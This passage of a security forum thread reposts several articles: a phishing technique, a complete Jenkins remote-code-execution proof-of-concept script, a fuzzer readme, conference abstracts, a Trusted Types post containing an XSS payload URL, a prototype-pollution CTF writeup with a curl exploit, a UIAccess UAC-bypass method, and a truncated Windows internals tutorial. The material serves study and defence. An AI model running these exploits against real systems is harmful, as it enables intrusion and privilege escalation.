authenticate using OAuth and permitting the service to access your profile’s necessary information. However, Vincent discovered that the malicious blogs and online services are serving users with a very realistic-looking fake Facebook login prompt after they click the login button which has been designed to capture users’ entered credentials, just like any phishing site. As shown in the video demonstration Vincent shared with The Hacker News, the fake pop-up login prompt, actually created with HTML and JavaScript, are perfectly reproduced to look and feel exactly like a legitimate browser window—a status bar, navigation bar, shadows and URL to the Facebook website with green lock pad indicating a valid HTTPS. Moreover, users can also interact with the fake browser window, drag it here-and-there or exit it in the same way any legitimate window acts. The only way to protect yourself from this type of phishing attack, according to Vincent, "is to actually try to drag the prompt away from the window it is currently displayed in. If dragging it out fails (part of the popup disappears beyond the edge of the window), it's a definite sign that the popup is fake." Besides this, it is always recommended to enable two-factor authentication with every possible service, preventing hackers from accessing your online accounts if they somehow manage to get your credentials. Phishing schemes are still one of the most severe threats to users as well as companies, and hackers continue to try new and creative ways to trick you into providing them with your sensitive and financial details that they could later use to steal your money or hack into your online accounts. Stay tuned, stay safe! Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/advance-phishing-login-page.html?m=1
      • 2
      • Thanks
  13. #!/usr/bin/python # Author: Adam Jordan # Date: 2019-02-15 # Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc # PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative) import argparse import jenkins import time from xml.etree import ElementTree payload = ''' import org.buildobjects.process.ProcBuilder @Grab('org.buildobjects:jproc:2.2.3') class Dummy{ } print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString() ''' def run_command(url, cmd, job_name, username, password): print '[+] connecting to jenkins...' server = jenkins.Jenkins(url, username, password) print '[+] crafting payload...' ori_job_config = server.get_job_config(job_name) et = ElementTree.fromstring(ori_job_config) et.find('definition/script').text = payload % cmd job_config = ElementTree.tostring(et, encoding='utf8', method='xml') print '[+] modifying job with payload...' server.reconfig_job(job_name, job_config) time.sleep(3) print '[+] putting job build to queue...' queue_number = server.build_job(job_name) time.sleep(3) print '[+] waiting for job to build...' queue_item_info = {} while 'executable' not in queue_item_info: queue_item_info = server.get_queue_item(queue_number) time.sleep(1) print '[+] restoring job...' server.reconfig_job(job_name, ori_job_config) print '[+] fetching output...' last_build_number = server.get_job_info(job_name)['lastBuild']['number'] console_output = server.get_build_console_output(job_name, last_build_number) print '[+] OUTPUT:' print console_output if __name__ == '__main__': parser = argparse.ArgumentParser(description='Jenkins RCE') parser.add_argument('--url', help='target jenkins url') parser.add_argument('--cmd', help='system command to be run') parser.add_argument('--job', help='job name') parser.add_argument('--username', help='username') parser.add_argument('--password', help='password') args = parser.parse_args() run_command(args.url, args.cmd, args.job, args.username, args.password) Sursa: https://gist.github.com/adamyordan/96da0ad5e72cbc97285f2df340cac43b
      • 1
      • Thanks
  14. Nytro

    PE-AFL

    pe-afl combines static binary instrumentation on PE binary and WinAFL so that it can fuzz on windows user-mode application and kernel-mode driver without source or full symbols or hardware support details, benchmark and some kernel-mode case study can be found on slide, which is presented on BluehatIL 2019 it is not so reliable and dirty, but it works and high-performance i reported bugs on office,gdiplus,jet,clfs,cng,hid,... by using this tool the instrumentation part on PE can be reused on many purpose How-to instrument instrument 2 NOP on entry point of calc.exe ida.exe demo\calc.exe # loading with pdb is more reliable if pdb is available File->script file->ida_dump.py python instrument.py -i"{0x1012d6c:'9090'}" demo\calc.exe demo\calc.exe.dump.txt # 0x1012d6c is entry point address, you can instrument from command-line or from __main__ in instrument.py instrument each basic block for fuzzing ida.exe demo\msjet40.dll File->script file->ida_dump.py python pe-afl.py -m demo\msjet40.dll demo\msjet40.dll.dump.txt # msjet40 is multi-thread, so -m is here # see fuzz JetDB on win7 ps. instrument script run faster on non-windows How-to fuzz you have to implement the wrapper/harness (AFL\test_XXX) depends on target and add anything you want, such page heap, etc fuzz JetDB on win7 copy /Y msjet40.instrumented.dll C:\Windows\System32\msjet40.dll bin\afl-showmap.exe -o NUL -p msjet40.dll -- bin\test_mdb.exe demo\mdb\normal.mdb # make sure that capture is OK bin\AFL.exe -i demo\mdb -o out -t 5000 -m none -p msjet40.dll -- bin\test_mdb.exe @@ fuzz CLFS on win10 install_helper.bat disable_dse.bat copy /Y clfs.instrumented.sys C:\Windows\System32\drivers\clfs.sys # reboot if necessary bin\afl-showmap.exe -o NUL -p clfs.sys -- bin\test_clfs.exe demo\blf\normal.blf # make sure that capture is OK bin\AFL.exe -i demo\blf -o out -t 5000 -m none -p clfs.sys -- bin\test_clfs.exe @@ How-to trace import driver execution trace into lighthouse ida.exe demo\clfs.sys File->script file->ida_dump.py python pe-afl.py -cb demo\clfs.sys demo\clfs.sys.dump.txt copy /Y clfs.instrumented.sys C:\Windows\System32\drivers\clfs.sys # reboot if necessary bin\afl-showmap.exe -o NUL -p clfs.sys -d -- bin\test_clfs.exe demo\blf\normal.blf # output is trace.txt python lighthouse_trace.py demo\clfs.sys demo\clfs.sys.mapping.txt trace.txt > trace2.txt # install lighthouse xcopy /y /e lighthouse [IDA folder]\plugins\ ida.exe demo\clfs.sys File->Load File->Code coverage file->trace2.txt TODO support x64 Sursa: https://github.com/wmliang/pe-afl
  15. Abstracts Attacking Edge Through the JavaScript Just-In-Time Compiler Bruno Keith / Thursday, Feb 7, 10:30-11:15 AM Bridging Emulation and the Real World with the Nintendo Game Boy Or Pinchasof / Wednesday, Feb 6, 3:15-4:00 PM Hardening Secure Boot on Embedded Devices for Hostile Environments Niek Timmers | Riscure, Albert Spruyt, Cristofaro Mune | Pulse Security Wednesday, Feb 6, 11:45-12:30 PM Life as an iOS Attacker Luca Todesco (@qwertyoruiop) / Thursday, Feb 7, 5:15-6:00 PM Make Static Instrumentation Great Again: High Performance Fuzzing for Windows System Lucas Leong, Trend Micro / Thursday, Feb 7, 4:30-5:15 PM No Code No Crime: UPnP as an Off-the-Shelf Attacker's Toolkit x0rz / Thursday, Feb 7, 12:30-1:00 PM PE-sieve: An Open-Source Process Scanner for Hunting and Unpacking Malware Hasherezade / Thursday, Feb 7, 2:30-3:15 PM Postscript Pat and His Black and White Hat Steven Seeley / Thursday, Feb 7, 3:15-4:00 PM Practical Uses for Hardware-assisted Memory Visualization Ulf Frisk / Wednesday, Feb 6, 4:30-5:15 PM Supply Chain Security: "If I were a Nation State..." Andrew "bunnie" Huang / Wednesday, Feb 6, 10:30-11:15 AM The AMDFlaws Story: Technical Deep Dive Ido Li On & Uri Farkas, CTS Labs / Wednesday, Feb 6, 5:15-6:00 PM The Things That Lurk in the Shadows Costin Raiu, Kaspersky Lab / Wednesday, Feb 6, 12:30-1:00 PM Transmogrifying Other People's Marketing into Threat Hunting Treasures Using Machine Learning Magic Bhavna Soman, Microsoft / Wednesday, Feb 6, 1:00-1:30 PM Trends, Challenges, and Strategic Shifts in the Software Vulnerability Mitigation Landscape Matt Miller, Microsoft / Thursday, Feb 7, 11:45-12:30 PM Who’s Watching the Watchdog? Uncovering a Privilege Escalation Vulnerability in OEM Driver Amit Rapaport, Microsoft / Thursday, Feb 7, 1:00-1:30 PM You (dis)liked mimikatz? Wait for kekeo Benjamin Delpy (@gentilkiwi) / Wednesday, Feb 6, 2:30-3:15 PM Sursa: https://www.bluehatil.com/abstracts
  16. Trusted Types help prevent Cross-Site Scripting TL;DR We've created a new experimental API that aims to prevent DOM-Based Cross Site Scripting in modern web applications. By Krzysztof Kotowicz Software Engineer in the Information Security Enginnering team at Google We’re currently working on the specification and implementation details for this API. We’ll keep this post updated as Trusted Types mature. Last update: 2019-02-15. Cross-Site Scripting Cross-Site Scripting (XSS) is the most prevalent vulnerability affecting web applications. We see this reflected both in our own data, and throughout the industry. Practice shows that maintaining an XSS-free application is still a difficult challenge, especially if the application is complex. While solutions for preventing server-side XSS are well known, DOM-based Cross-Site Scripting (DOM XSS) is a growing problem. For example, in Google's Vulnerability Reward Program DOM XSS is already the most common variant. Why is that? We think it's caused by two separate issues: XSS is easy to introduce DOM XSS occurs when one of injection sinks in DOM or other browser APIs is called with user-controlled data. For example, consider this snippet that intends to load a stylesheet for a given UI template the application uses: const templateId = location.hash.match(/tplid=([^;&]*)/)[1]; // ... document.head.innerHTML += `<link rel="stylesheet" href="./templates/${templateId}/style.css">` This code introduces DOM XSS by linking the attacker-controlled source (location.hash) with the injection sink (innerHTML). The attacker can exploit this bug by tricking their victim into visiting the following URL: https://example.com#tplid="><img src=x onerror=alert(1)> It's easy to make this mistake in code, especially if the code changes often. For example, maybe templateId was once generated and validated on the server, so this value used to be trustworthy? When assigning to innerHTML, all we know is that the value is a string, but should it be trusted? Where does it really come from? Additionally, the problem is not limited to just innerHTML. In a typical browser environment, there are over 60 sink functions or properties that require this caution. The DOM API is insecure by default and requires special treatment to prevent XSS. XSS is difficult to detect The code above is just an example, so it's trivial to see the bug. In practice, the sources and the sinks are often accessed in completely different application parts. The data from the source is passed around, and eventually reaches the sink. There are some functions that sanitize and verify the data. But was the right function called? Looking at the source code alone, it's difficult to know if it introduces a DOM XSS. It's not enough to grep the .js files for sensitive patterns. For one, the sensitive functions are often used through various wrappers and real-world vulnerabilities look more like this. Sometimes it's not even possible to tell if a codebase is vulnerable by only looking at it. obj[prop] = templateID If obj points to the Location object, and prop value is "href", this is very likely a DOM XSS, but one can only find that out when executing the code. As any part of your application can potentially hit a DOM sink, all of the code should undergo a manual security review to be sure - and the reviewer has to be extra careful to spot the bug. That's unlikely to happen. Trusted Types Trusted Types is the new browser API that might help address the above problems at the root cause - and in practice help obliterate DOM XSS. Trusted Types allow you to lock down the dangerous injection sinks - they stop being insecure by default, and cannot be called with strings. You can enable this enforcement by setting a special value in the Content Security Policy HTTP response header: Content-Security-Policy: trusted-types * Then, in the document you can no longer use strings with the injection sinks: const templateId = location.hash.match(/tplid=([^;&]*)/)[1]; // typeof templateId == "string" document.head.innerHTML += templateId // Throws a TypeError. To interact with those functions, you create special typed objects - Trusted Types. Those objects can be created only by certain functions in your application called Trusted Type Policies. The exemplary code "fixed" with Trusted Types would look like this: const templatePolicy = TrustedTypes.createPolicy('template', { createHTML: (templateId) => { const tpl = templateId; if (/^[0-9a-z-]$/.test(tpl)) { return `<link rel="stylesheet" href="./templates/${tpl}/style.css">`; } throw new TypeError(); } }); const html = templatePolicy.createHTML(location.hash.match(/tplid=([^;&]*)/)[1]); // html instanceof TrustedHTML document.head.innerHTML += html; Here, we create a template policy that verifies the passed template ID parameter and creates the resulting HTML. The policy object create* function calls into a respective user-defined function, and wraps the result in a Trusted Type object. In this case, templatePolicy.createHTML calls the provided templateId validation function, and returns a TrustedHTML with the <link ...> snippet. The browser allows TrustedHTML to be used with an injection sink that expects HTML - like innerHTML. It might seem that the only improvement is in adding the following check: if (/^[0-9a-z-]$/.test(tpl)) { /* allow the tplId */ } Indeed, this line is necessary to fix XSS. However, the real change is more profound. With Trusted Types enforcement, the only code that could introduce a DOM XSS vulnerability is the code of the policies. No other code can produce a value that the sink functions accept. As such, only the policies need to be reviewed for security issues. In our example, it doesn't really matter where the templateId value comes from, as the policy makes sure it's correctly validated first - the output of this particular policy does not introduce XSS. Limiting policies Did you notice the * value that we used in the Content-Security-Policy header? It indicates that the application can create arbitrary number of policies, provided each of them has a unique name. If applications can freely create a large number of policies, preventing DOM XSS in practice would be difficult. However, we can further limit this by specifying a whitelist of policy names like so: Content-Security-Policy: trusted-types template This assures that only a single policy with a name template can be created. That policy is then easy to identify in a source code, and can be effectively reviewed. With this, we can be certain that the application is free from DOM XSS. Nice job! In practice, modern web applications need only a small number of policies. The rule of thumb is to create a policy where the client-side code produces HTML or URLs - in script loaders, HTML templating libraries or HTML sanitizers. All the numerous dependencies that do not interact with the DOM, do not need the policies. Trusted Types assures that they can't be the cause of the XSS. Get started This is just a short overview of the API. We are working on providing more code examples, guides and documentation on how to migrate applications to Trusted Types. We feel this is the right moment for the web developer community to start experimenting with it. To get this new behavior on your site, you need to be signed up for the "Trusted Types" Origin Trial (in Chrome 73 through 76). If you just want to try it out locally, starting from Chrome 73 the experiment can be enabled on the command line: chrome --enable-blink-features=TrustedDOMTypes or chrome --enable-experimental-web-platform-features Alternatively, visit chrome://flags/#enable-experimental-web-platform-features and enable the feature. All of those options enable the feature globally in Chrome for the current session. If you experience crashes, use --enable-features=BlinkHeapUnifiedGarbageCollection as a workaround. See bug 929601 for details. We have also created a polyfill that enables you to test Trusted Types in other browsers. As always, let us know what you think. You can reach us on the trusted-types Google group or file issues on GitHub. Sursa: https://developers.google.com/web/updates/2019/02/trusted-types
  17. Analysis and Exploitation of Prototype Pollution attacks on NodeJs - Nullcon HackIM CTF web 500 writeup Feb 15, 2019 • ctf Prototype Pollution attacks on NodeJs is a recent research by Olivier Arteau where he discovered how to exploit an application if we can pollute the prototype of a base object. Introduction Objects in javaScript Functions/Classes in javaScript? WTH is a constructor ? Prototypes in javaScript Prototype Pollution Merge() - Why was it vulnerable? References Introduction Prototype Pollution attacks, as the name suggests, is about polluting the prototype of a base object which can sometimes lead to RCE. This is a fantastic research done by Olivier Arteau and has given a talk on NorthSec 2018. Let’s take a look at the vulnerability in-depth with an example from Nullcon HackIm 2019 challenge named proton: Objects in javaScript An object in the javaScript is nothing but a collection of key value pairs where each pair is known as a property. Let’s take an example to illustrate (you can use the browser console to execute and try it yourself): var obj = { "name": "0daylabs", "website": "blog.0daylabs.com" } obj.name; // prints "0daylabs" obj.website; // prints "blog.0daylabs.com" console.log(obj); // prints the entire object along with all of its properties. In the above example, name and website are the properties of the object obj. If you carefully look at the last statement, the console.log prints out a lot more information than the properties we explicitly defined. Where are these properties coming from ? Object is the fundamental basic object upon which all other objects are created. We can create an empty object (without any properties) by passing the argument null during object creation, but by default it creates an object of a type that corresponds to its value and inherits all the properties to the newly created object (unless its null). console.log(Object.create(null)); // prints an empty object Functions/Classes in javaScript? In javaScript, the concept of classes and functions are relative (functions itself serves as the constructor for the class and there is no explicit “classes” itself). Let’s take an example: function person(fullName, age) { this.age = age; this.fullName = fullName; this.details = function() { return this.fullName + " has age: " + this.age; } } console.log(person.prototype); // prints the prototype property of the function /* {constructor: ƒ} constructor: ƒ person(fullName, age) __proto__: Object */ var person1 = new person("Anirudh", 25); var person2 = new person("Anand", 45); console.log(person1); /* person {age: 25, fullName: "Anirudh"} age: 45 fullName: "Anand" __proto__: constructor: ƒ person(fullName, age) arguments: null caller: null length: 2 name: "person" prototype: {constructor: ƒ} __proto__: ƒ () [[FunctionLocation]]: VM134:1 [[Scopes]]: Scopes[1] __proto__: Object */ console.log(person2); /* person {age: 45, fullName: "Anand"} age: 45 fullName: "Anand" __proto__: constructor: ƒ person(fullName, age) arguments: null caller: null length: 2 name: "person" prototype: {constructor: ƒ} __proto__: ƒ () [[FunctionLocation]]: VM134:1 [[Scopes]]: Scopes[1] __proto__: Object */ person1.details(); // prints "Anirudh has age: 25" In the above example, we defined a function named person and we created 2 objects named person1 and person2. If we take a look at the properties of the newly created function and objects, we can note 2 things: When a function is created, JavaScript engine includes a prototype property to the function. This prototype property is an object (called as prototype object) and has a constructor property by default which points back to the function on which prototype object is a property. When an object is created, JavaScript engine adds a __proto__ property to the newly created object which points to the prototype object of the constructor function. In short, object.__proto__ is pointing to function.prototype. WTH is a constructor ? Constructor is a magical property which returns the function that used to create the object. The prototype object has a constructor which points to the function itself and the constructor of the constructor is the global function constructor. var person3 = new person("test", 55); person3.constructor; // prints the function "person" itself person3.constructor.constructor; // prints ƒ Function() { [native code] } <- Global Function constructor person3.constructor.constructor("return 1"); /* ƒ anonymous( ) { return 1 } */ // Finally call the function person3.constructor.constructor("return 1")(); // returns 1 Prototypes in javaScript One of the things to note here is that the prototype property can be modified at run time to add/delete/edit entries. For example: function person(fullName, age) { this.age = age; this.fullName = fullName; } var person1 = new person("Anirudh", 25); person.prototype.details = function() { return this.fullName + " has age: " + this.age; } console.log(person1.details()); // prints "Anirudh has age: 25" What we did above is that we modified the function’s prototype to add a new property. The same result can be achieved using objects: function person(fullName, age) { this.age = age; this.fullName = fullName; } var person1 = new person("Anirudh", 25); var person2 = new person("Anand", 45); // Using person1 object person1.constructor.prototype.details = function() { return this.fullName + " has age: " + this.age; } console.log(person1.details()); // prints "Anirudh has age: 25" console.log(person2.details()); // prints "Anand has age: 45" :O Noticied anything suspicious? We modified person1 object but why person2 also got affected? The reason being that in the first example, we directly modified person.prototype to add a new property but in the 2nd example we did exactly the same but by using object. We have already seen that constructor returns the function using which the object is created so person1.constructor points to the function person itself and person1.constructor.prototype is the same as person.prototype. Prototype Pollution Let’s take an example, obj[a] = value. If an attacker can control a and value, then he can set the value of a to __proto__ and the property b will be defined for all existing objects of the application with the value value. The attack is not as simple as it feels like from the above statement. According to the research paper, this is exploitable only if any of the following 3 happens: Object recursive merge Property definition by path Object clone Let’s take the Nullcon HackIM challenge to see a practical scenario. The challenge starts with iterating a MongoDB id (which was trivial to do) and we get access to the below source code: 'use strict'; const express = require('express'); const bodyParser = require('body-parser') const cookieParser = require('cookie-parser'); const path = require('path'); const isObject = obj => obj && obj.constructor && obj.constructor === Object; function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } function clone(a) { return merge({}, a); } // Constants const PORT = 8080; const HOST = '0.0.0.0'; const admin = {}; // App const app = express(); app.use(bodyParser.json()) app.use(cookieParser()); app.use('/', express.static(path.join(__dirname, 'views'))); app.post('/signup', (req, res) => { var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.name) { res.cookie('name', copybody.name).json({ "done": "cookie set" }); } else { res.json({ "error": "cookie not set" }) } }); app.get('/getFlag', (req, res) => { var аdmin = JSON.parse(JSON.stringify(req.cookies)) if (admin.аdmin == 1) { res.send("hackim19{}"); } else { res.send("You are not authorized"); } }); app.listen(PORT, HOST); console.log(`Running on http://${HOST}:${PORT}`); The code starts with defining a function merge which is essentially an insecure design of merging 2 objects. Since the latest version of libraries that does the merge() has already been patched, the challenge delibrately used the old method in which merge used to happen to make it vulnerable. One thing we can quickly notice in the above code is the definition of 2 “admins” as const admin and var аdmin. Ideally javaScript doesn’t allow to define a const variable again as var so this has to be different. It took a good amount of time to figure out that one of them has a normal a while the other has some other a (homograph). So instead of wasting time over it, I renamed it to normal a itself and worked on the challenge so that once solved, we can send the payload accordingly. So from the challenge source code, here are the following observations: Merge() function is written in a way that prototype pollution can happen (more analysis of the same later in the article). So that’s indeed the way to solve the problem. The vulnerable function is actually called while hitting /signup via clone(body) so we can send our JSON payload while signing up which can add the admin property and immediately call /getFlag to get the flag. As discussed above, we can use __proto__ (points to constructor.prototype) to create the admin property with value 1. The simplest payload to do the same: {"__proto__": {"admin": 1}} So the final payload to solve the problem (using curl since I was not able to send homograph via burp): curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag' Merge() - Why was it vulnerable? One obvious question here is, what makes the merge() function vulnerable here? Here is how it works and what makes it vulnerable: The function starts with iterating all properties that is present on the 2nd object b (since 2nd is given preference incase of same key-value pairs). If the property exists on both first and second arguments and they are both of type Object, then it recusively starts to merge it. Now if we can control the value of b[attr] to make attr as __proto__ and also if we can control the value inside the proto property in b, then while recursion, a[attr] at some point will actually point to prototype of the object a and we can successfully add a new property to all the objects. Still confused ? Well I don’t blame, because it took sometime for me also to understand the concept. Let’s write some debug statements to figure out what is happening. const isObject = obj => obj && obj.constructor && obj.constructor === Object; function merge(a, b) { console.log(b); // prints { __proto__: { admin: 1 } } for (var attr in b) { console.log("Current attribute: " + attr); // prints Current attribute: __proto__ if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } function clone(a) { return merge({}, a); } Now let’s try sending the curl request mentioned above. What we can notice is that the object b now has the value: { __proto__: { admin: 1 } } where __proto__ is just a property name and is not actually pointing to function prototype. Now during the function merge(), for (var attr in b) iterates through every attribute where the first attribute name now is __proto__. Since it’s always of type object, it starts to recursively call, this time as merge(a[__proto__], b[__proto__]). This essentially helped us in getting access to function prototype of a and add new properties which is defined in the proto property of b. References Olivier Arteau – Prototype pollution attacks in NodeJS applications Prototypes in javaScript MDN Web Docs - Object Anirudh Anand Security Engineer @flipkart | Web Application Security ♥ | Google, Microsoft, Zendesk, Gitlab Hall of Fames | Blogger | CTF lover - @teambi0s | certs - eWDP, OSCP Sursa: https://blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/
      • 1
      • Upvote
  18. As mitigations keep rolling in, the complexity of attacking iOS keeps growing. We will look at recent hardware mitigations that affect advanced attackers and analyze the economic impact across different kinds of attackers.
      • 1
      • Like
  19. Trends, Challenges, and Strategic Shifts in the Software Vulnerability Mitigation Landscape The software vulnerability landscape has changed dramatically over the past 20+ years. During this period, we’ve gone from easy-to-exploit stack buffer overruns to complex-and-expensive chains of multiple exploits. To better understand this evolution, this presentation will describe the vulnerability mitigation strategy Microsoft has been pursuing and will show how this strategy has influenced vulnerability and exploitation trends over time. This retrospective will form the basis for discussing some of the vulnerability mitigation challenges that exist today and the strategic shifts that Microsoft is exploring to address those challenges.
      • 1
      • Upvote
  20. Thursday, 14 February 2019 Accessing Access Tokens for UIAccess I mentioned in a previous blog post (link) Windows RS5 finally kills the abuse of Access Tokens, as far as I can tell, to elevate to admin by just opening the access token. This is a shame, but personally I didn't care. However, I was contacted on Twitter about some UAC related things, specifically getting UIAccess. I was surprised that people have not been curious enough to put two and two together and realize that the previous token stealing bug can still be used to get you UIAccess even if the direct path to admin has been blocked. This blog post gives a bit of information on why you might care about UIAccess and how you can get your own code running as UIAccess. TL;DR; you can do the same token stealing trick with UIAccess processes, which doesn't require an elevation prompt, then automate the UI of a privileged process to get a UAC bypass. An example PowerShell script which does this is on my github. First, what is UIAccess? One of the related features of UAC was User Interface Privilege Isolation (UIPI). UIPI limits the ability of a process interacting with the windows of a higher integrity level process, preventing a malicious application automating a privileged UI to elevate privileges. There's of course some holes which have been discovered over the years but the fundamental principle is sound. However there's a big problem, what about Assistive Technologies? Many people rely on on-screen keyboards, screen readers and the like, they won't work if you can't read and automate the privileged UI. If you're blind does that mean you can't be an administrator? The design Microsoft went with was for a backdoor to UIPI and added a special flag to Access Tokens called UIAccess. When this flag is set most of the UIPI features of WIN32K are relaxed. From an escalation perspective if you have UIAccess you can automate the windows of a higher integrity process, say an administrator command prompt and use that access to bypass, further, UAC prompts. You can set the UIAccess flag on a token by calling SetTokenInformation and pass the TokenUIAccess information class. If you do that you'll find that you can't set the flag as a normal user, you need SeTcbPrivilege which is typically only granted to SYSTEM. If you need a "God" privilege to set the flag how does UIAccess get set in normal operation? You need to get the AppInfo service to spawn your process with an appropriate set of flags or just call ShellExecute. As the service runs as SYSTEM with SeTcbPrivilege is can set the UIAccess flag on start up. While the Consent application will spawn for UIAccess no UAC prompt will show (otherwise what's the point?). The AppInfo service spawns admin UAC processes, however by setting the uiAccess attribute in your manifest to true it'll instead spawn your process as UIAccess. However, it's not that simple, as per this link you also need sign the executable (easy as it can be self-signed) but also the executable must be in a secure location such as System32 or Program Files (harder). To prevent a malicious application spawning a UIAccess process, then injecting code into it, the AppInfo service tweaks the integrity of the token to be High (for split-token admin) or the current integrity plus 16 for normal users. This elevated integrity blocks read/write access to the new process. Of course there are bugs, for example I found one in 2014, since fixed, in the secure location check by abusing directory NTFS named streams. UACME also has an exploit which abuses UIAccess (method 32, based on this blog post) if you can find a writable secure location directory or abuse the existing IFileOperation tricks to write a file into the appropriate location. However, for those keeping score the UIAccess is a property of the access token. As the OS doesn't do anything special to clear it you can open the token from an existing UIAccess process, take it's token and create a new process with that token and start automating the heck out of privileged windows 😉 In summary here's how to exploit this behavior on a completely default install of Windows 10 RS5 and below. Find or start a UIAccess process, such as the on-screen keyboard (OSK.EXE). As AppInfo doesn't prompt for UIAccess this can be done, relatively, silently. Open the process for PROCESS_QUERY_LIMITED_INFORMATION access. This is allowed as long as you have any access to the process. This could even be done from a Low integrity process (but not from an AC) although on Windows 10 RS5 some other sandbox mitigations get in the way in the next step, but it should work on Windows 7. Open the process token for TOKEN_DUPLICATE access and duplicate the token to a new writable primary token. Set the new token's integrity to match your current token's integrity. Use the token in CreateProcessAsUser to spawn a new process with the UIAccess flag. Automate the UI to your heart's desire. Based on my original blogs you might wonder how I can create a new process with the token when previously I could only impersonate? For UIAccess the AppInfo service just modifies a copy of the caller's token rather than using the linked token. This means the UIAccess token is considered a sibling of any other process on the desktop and so is permitted to assign the primary token as long as the integrity is dropped to be equal or lower than the current integrity. As an example I've uploaded a PowerShell script which does the attack and uses the SendKeys class to write an arbitrary command to a focused elevated command prompt on the desktop (how you get the command prompt is out of scope). There's almost certainly other tricks you can do once you've got UIAccess. For example if the administrator has set the "User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop" group policy then it's possible to disable the secure desktop from a UIAccess process and automate the elevation prompt itself. In conclusion, while the old admin token stealing trick went away it doesn't mean it doesn't still have value. By abusing UIAccess programs we can almost certainly bypass UAC. Of course as it's not a security boundary and is so full of holes I'm not sure anyone cares about it Posted by tiraniddo at 15:42 Sursa: https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html
      • 1
      • Upvote
  21. Reverse Engineering Malware, Part 4: Windows Internals July 4, 2017 Welcome back to my Reverse Engineering Malware series. In general, reverse engineering of malware is done on Windows systems. That's because despite recent inroads by Linux and the Mac OS, Windows systems still comprise over 90% of all computing systems in the world. As such, well over 90% of malware is designed to compromise Windows system. For this reason, it makes sense to focus our attention to Windows operating systems. When reversing malware, the operating system plays a key role. All applications interact with the operating system and are tightly integrated with the OS. We can gather a significant amount of information on the malware by probing the interface between the OS and the application (malware). To understand how malware can use and manipulate Windows then, we need to better understand the inner workings of the Windows operating system. In this article, we will examine the inner workings or Windows 32-bit systems so that we can better understand how malware can use the operating system for its malicious purposes. Windows internals could fill several textbooks (and has), so I will attempt to just cover the most important topics and only in a cursory way. I hope to leave you with enough information though, that you can effectively reverse the malware in the following articles. Virtual Memory Virtual memory is the idea that instead of software directly accessing the physical memory, the CPU and the operating system create an invisible layer between the software and the physical memory. The OS creates a table that the CPU consults called the page table that directs the process to the location of the physical memory that it should use. Processors divide memory into pages Pages are fixed sized chunks of memory. Each entry in the page table references one page of memory. In general, 32 -bit processors use 4k sized pages with some exceptions. Kernel v User Mode Having a page table enables the processor to enforce rules on how memory will be accessed. For instance, page table entries often have flags that determine whether the page can be accessed from a non-privileged mode (user mode). In this way, the operating system's code can reside inside the process's address space without concern that it will be accessed by non-privileged processes. This protects the operating system's sensitive data. This distinction between privileged vs. non-privileged mode becomes kernel (privileged) and non-privileged (user) modes. Kernel memory Space The kernel reserves 2gb of address space for itself. This address space contains all the kernel code, including the kernel itself and any other kernel components such as device drivers Paging Paging is the process where memory regions are temporarily flushed to the hard drive when they have not been used recently. The processor tracks the time since a page of memory was last used and the oldest is flushed. Obviously, physical memory is faster and more expensive than space on the hard drive. The windows operating system tracks when a page was last accessed and then uses that information to locate pages that haven't been accessed in a while. Windows then flushes their content to a file. The contents of the flushed pages can then be discarded and the space used by other information. When the operating system needs to access these flushed pages, a page fault will be generated and then system then does that the information has "paged out" to a file. Then, the operating system will access the page file and pull the information back into memory to be used. Objects and Handles The Windows kernel manages objects using a centralized object manager component. This object manager is responsible for all kernel objects such as sections, files, and device objects, synchronization objects, processes and threads. It ONLY manages kernel objects. GUI-related objects are managed by separate object managers that are implemented inside WIN32K.SYS Kernel code typically accesses objects using direct pointers to the object data structures. Applications use handles for accessing individual objects Handles A handle is process specific numeric identifier which is an index into the processes private handle table. Each entry in the handle table contains a pointer to the underlying object, which is how the system associates handles with objects. Each handle entry also contains an access mask that determines which types of operations that can be performed on the object using this specific handle. Processes A process is really just an isolated memory address space that is used to run a program. Address spaces are created for every program to make sure that each program runs in its own address space without colliding with other processes. Inside a processes' address space the system can load code modules, but must have at latest one thread running to do so. Process Initialization The creation of the process object and the new address space is the first step. When a new process calls the Win32 API CreateProcess, the API creates a process object and allocates a new memory address space for the process. CreateProcess maps NTDLL.DLL and the program executable (the .exe file) into the newly created address space. CreateProcess creates the process's first thread and allocates stack space it. The processes first thread is resumed and starts running in the LdrpInitialization function inside NTDLL.DLL LdrpInitialization recursively traverses the primary executable's import tables and maps them to memory every executable that is required. At this point, control passes into LdrpRunInitializeRoutines, which is an internal NTDLL routine responsible for initializing all statically linked DLL's currently loaded into the address space. The initialization process consists of a link each DLL's entry point with the DLL_PROCESS_ATTACH constant. Once all the DLL's are initialized, LdrpInitialize calls the thread's real initialization routine, which is the BaseProcessStart function from KERNELL32.DLL. This function in turn calls the executable's WinMain entry point, at which point the process has completed it's initialization sequence. Threads At ant given moment, each processor in the system is running one thread. Instead of continuing to run a single piece of code until it completes, Windows can decide to interrupt a running thread at given given time and switch to execution of another thread. A thread is a data structure that has a CONTEXT data structure. This CONTEXT includes; (1) the state of the processor when the thread last ran (2) one or two memory blocks that are used for stack space (3) stack space is used to save off current state of thread when context switched (4) components that manage threads in windows are the scheduler and the dispatcher (5) Deciding which thread get s to run for how long and perform context switch Context Switch Context switch is the thread interruption. In some cases, threads just give up the CPU on their own and the kernel doesn't have to interrupt. Every thread is assigned a quantum, which quantifies has long the the thread can run without interruption. Once the quantum expires, the thread is interrupted and other threads are allowed to run. This entire process is transparent to thread. The kernel then stores the state of the CPU registers before suspending and then restores that register state when the thread is resumed. Win32 API An API is a set of functions that the operating system makes available to application programs for communicating with the OS. The Win32 API is a large set of functions that make up the official low-level programming interface for Windows applications. The MFC is a common interface to the Win32 API. The three main components of the Win 32 API are; (1) 